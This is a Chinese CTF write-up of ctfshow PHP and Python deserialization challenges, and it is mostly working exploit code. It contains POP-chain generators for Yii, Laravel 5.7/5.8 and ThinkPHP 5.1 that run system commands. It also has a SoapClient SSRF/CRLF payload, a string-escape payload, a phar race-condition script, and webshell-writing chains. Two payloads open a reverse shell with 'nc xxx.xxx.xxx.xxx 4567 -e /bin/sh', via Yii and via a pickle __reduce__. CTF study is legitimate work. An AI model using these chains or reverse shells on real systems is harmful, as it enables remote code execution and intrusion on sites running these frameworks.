没搞懂和反序列化有啥关系,直接传username=xxxxxx&password=xxxxxx出flag
请求包内容如下
首先get传的username和password都是xxxxxx
因为源码里面
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
就是是说我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag,所以反序列化的内容为
class ctfShowUser{
public $isVip=true;
}
echo serialize(new ctfShowUser);
抓包修改下cookie就可以了,别忘了分号编下码。
class ctfShowUser{
public $isVip=true;
public $username='a';
}
echo serialize(new ctfShowUser);
保证输入的username和序列化的一样并且和原来的password不一样。
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo。
然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();
,那么我们只需要让$this->class
是backDoor类的实例化就可以了。
反序列化时,首先调用__destruct,接着调用$this->class->getInfo();
也就是backDoor->getinfo(),最后触发eval。
在上一个题的基础上加了个正则,只需要把O后面的数字前加个加号就可以绕过了。
当然还有个小改动,把原来的private改成了public。
构造代码
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
这个题利用的是php原生类SoapClient
该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
当然这是个不完整的源码,应该还有一条判断真实ip的也就是
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}
所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。
那么ssrf漏洞在哪呢,这就得用到我们前面提到的SoapClient类了。这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。
另外用到的一个文章识点就是CRLF,具体的可以先看下大佬写的文章
payload:
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
直接get传vip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了。
题目意思就是你序列化出来的东西需要包含字符串ctfshow_i_love_36D,
那我们直接传ctfhsow=ctfshow_i_love_36D就可以了。
打下来和redis好像没什么关系.
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中。所以直接就朝着写文件搞就可以了。
只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)
payload
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','');
echo serialize($a);
考察反序列化字符串逃逸,具体内容可以看下我之前写的一个文章或者借鉴下其他大佬的。
这个题有个小hint在注释里面。
还有个message.php页面,我们看到,需要token为admin才能输出flag
if($msg->token=='admin'){
echo $flag;
}
payload:
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
把base64编码后的结果放到cookie里面访问message.php就能拿到flag。当然我们也可以直接传值。
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
考察点 php session反序列化漏洞。参考下别人的文章
关键代码
index.php
写入cookie
check.php
调用cookie
inc.php
存在写文件函数,如果username为php文件名,password为一句话就可以了。
payload
class User{
public $username;
public $password;
public $status='a';
}
$a=new User();
$a->username='b.php';
$a->password='';
echo base64_encode('|'.serialize($a));
首先修改cookie后访问index.php,接着访问check.php即可生成木马文件。比如我这个会生成log-b.php。
具体的可以参考下web262,但这个题略微恶心一些,用的是$_SESSION,原来是$_COOKIE,所以我们不能直接修改cookie了。
直接把原来262的值传过去就可以了
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}
if(isset($_COOKIE['msg'])){
xxxx
}
所以还得随便传个cookie msg=1 ,访问message.php就行了
考察php按地址传参
$a='123';
$b=&$a;
$b=1;
echo $a;
大家可以试下这段代码,会发现a的值会跟着b一起改变。所以我们只需要让token按地址传给passowrd就可以了。
payload:
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password =&$this->token;
}
$a=new ctfshowAdmin();
echo serialize($a);
当我们序列化的字符串里面如果有ctfshow就会抛出一个异常,这样就没法触发__destrurt魔术方法了
,所以得绕过这个正则。
payload:
class ctfshow{
}
$a=new ctfshow();
echo serialize($a);
是的你没有看错,就是这么短,但是要把生成的字符串里面的ctfshow改成大写的。
yii反序列化漏洞
弱密码 admin admin登录成功后,在about页面发现提示?view-source
访问url/?r=site/about&view-source得到反序列化点
payload ?r=backdoor/shell&code=poc
poc生成(具体想用什么命令大家自己看着来吧,不知道为什么system不能用,建议用shell_exec)
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
poc
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
poc
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'nc xxx.xxx.xxx.xxx 4567 -e /bin/sh');
echo(base64_encode(serialize($exp)));
}
laravel5.7反序列化漏洞
大家有兴趣可以下载源码自己去分析分析
poc:
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));
echo urlencode(serialize($pendingcommand));
}
laravel5.8反序列化漏洞
poc
/*
Author:monitor
description:
laravel deserialization chain
*/
namespace Illuminate\Broadcasting
{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events,$event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus
{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Loader
{
class EvalLoader{
}
}
namespace Mockery\Generator
{
class MockDefinition{
protected $config;
protected $code;
public function __construct($config,$code){
$this->config = $config;
$this->code = $code;
}
}
class MockConfiguration{
protected $name;
public function __construct($name)
{
$this->name = $name;
}
}
}
namespace Illuminate\Queue
{
class CallQueuedClosure{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace
{
if($argc<2){
echo "Description:\n\tUse laravel deserialization to eval php code,don't need to input php tags.";
echo "\nUsage:" .$argv[0] . " "
;
exit();
}
$code = $argv[1];
$mockconfiguration = new Mockery\Generator\MockConfiguration("pass");
$mockdefination = new Mockery\Generator\MockDefinition($mockconfiguration,".$code." exit;?>");
$callqueuedclosure = new Illuminate\Queue\CallQueuedClosure($mockdefination);
$evaload = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evaload,"load"));
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$callqueuedclosure);
echo urlencode(serialize($pendingbroadcast));
}
用法 php index.php system(‘cat$IFS$9/f*’);
thinkphp 5.1反序列化漏洞 参考链接
poc
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
__destruct
当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile
是true就可以执行系统命令了。最后在拼接一下命令
payload
?fn=;cat f*
data: flag=123
在上个题的基础上增了了 判断$this->admin
所以真的需要我们去通过反序列化修改admin的值了。因为题目中没有反序列化函数,所以需要通过其他方式。
因为题目中有写文件的函数,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争。
生成phar文件
class filter{
public $filename = "1|cat f*";
public $filecontent;
public $evilfile = true;
public $admin = true;
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
条件竞争
import requests
import threading
import base64
url = 'http://b1238473-a3bb-431f-a39e-3cd285bcb95e.chall.ctf.show/'
f = open('./phar.phar', 'rb')
data = f.read()
flag = False
def work1():
requests.post(url+"?fn=a", data=data)
def work2():
global flag
r = requests.post(url+"?fn=phar://phar.phar/", data="")
if "flag{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=work1)
b = threading.Thread(target=work2)
a.start()
b.start()
测试了一番发现没有回显,那直接反弹shell吧
ps:python3 linux系统
payload:
import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))